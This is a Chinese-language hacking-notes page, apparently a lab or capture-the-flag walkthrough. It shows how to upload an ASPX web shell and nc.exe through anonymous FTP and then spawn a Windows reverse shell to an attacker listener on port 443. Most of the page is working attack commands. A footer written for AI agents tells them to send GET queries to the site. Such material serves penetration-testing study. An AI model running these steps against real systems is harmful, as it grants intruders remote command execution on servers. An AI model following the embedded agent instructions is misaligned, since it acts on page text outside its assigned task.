> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md).

# FTP - 反向 Shell 和 Web Shell 攻击

## **通过 FTP 上传实现反向 Shell**

### **上传一个 ASPX Web Shell**

使用现有的 Web Shell， **`cmd.aspx`**，来自 SecLists：

```bash
locate cmd.aspx
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

将其上传到 FTP 服务器：

```bash
ftp 10.10.10.5
anonymous
put aspx_cmd.aspx
```

通过 HTTP 服务器访问 Web Shell 并执行命令，例如：

```bash
ipconfig
```

<figure><img src="/files/0fed189bbfc2c57281aedc48b3f40403f5a96368" alt=""><figcaption></figcaption></figure>

### **上传 `nc.exe` 用于反向 shell 的二进制文件**

下载 **`nc.exe`** 来自 SecLists：

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

将其上传到 FTP 服务器：

```bash
ftp 10.10.10.5
anonymous
put nc.exe
```

从 Web Shell 中，找到 **`nc.exe`** 在目标服务器上：

```powershell
dir /s C:/nc.exe
```

### **设置反向 Shell**

<figure><img src="/files/78c1fd9c96cc1c019c61e69573d98c84bb983931" alt=""><figcaption></figcaption></figure>

**在 443 端口上监听：**

设置一个 `nc` 在 443 端口上的监听器：

```bash
rlwrap nc -nvlp 443
```

在目标机器上，通过 Web Shell 执行以下命令：

```powershell
C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443
```

<figure><img src="/files/a7aa960badb4ef4ef42f34136ecc29aa3106a207" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
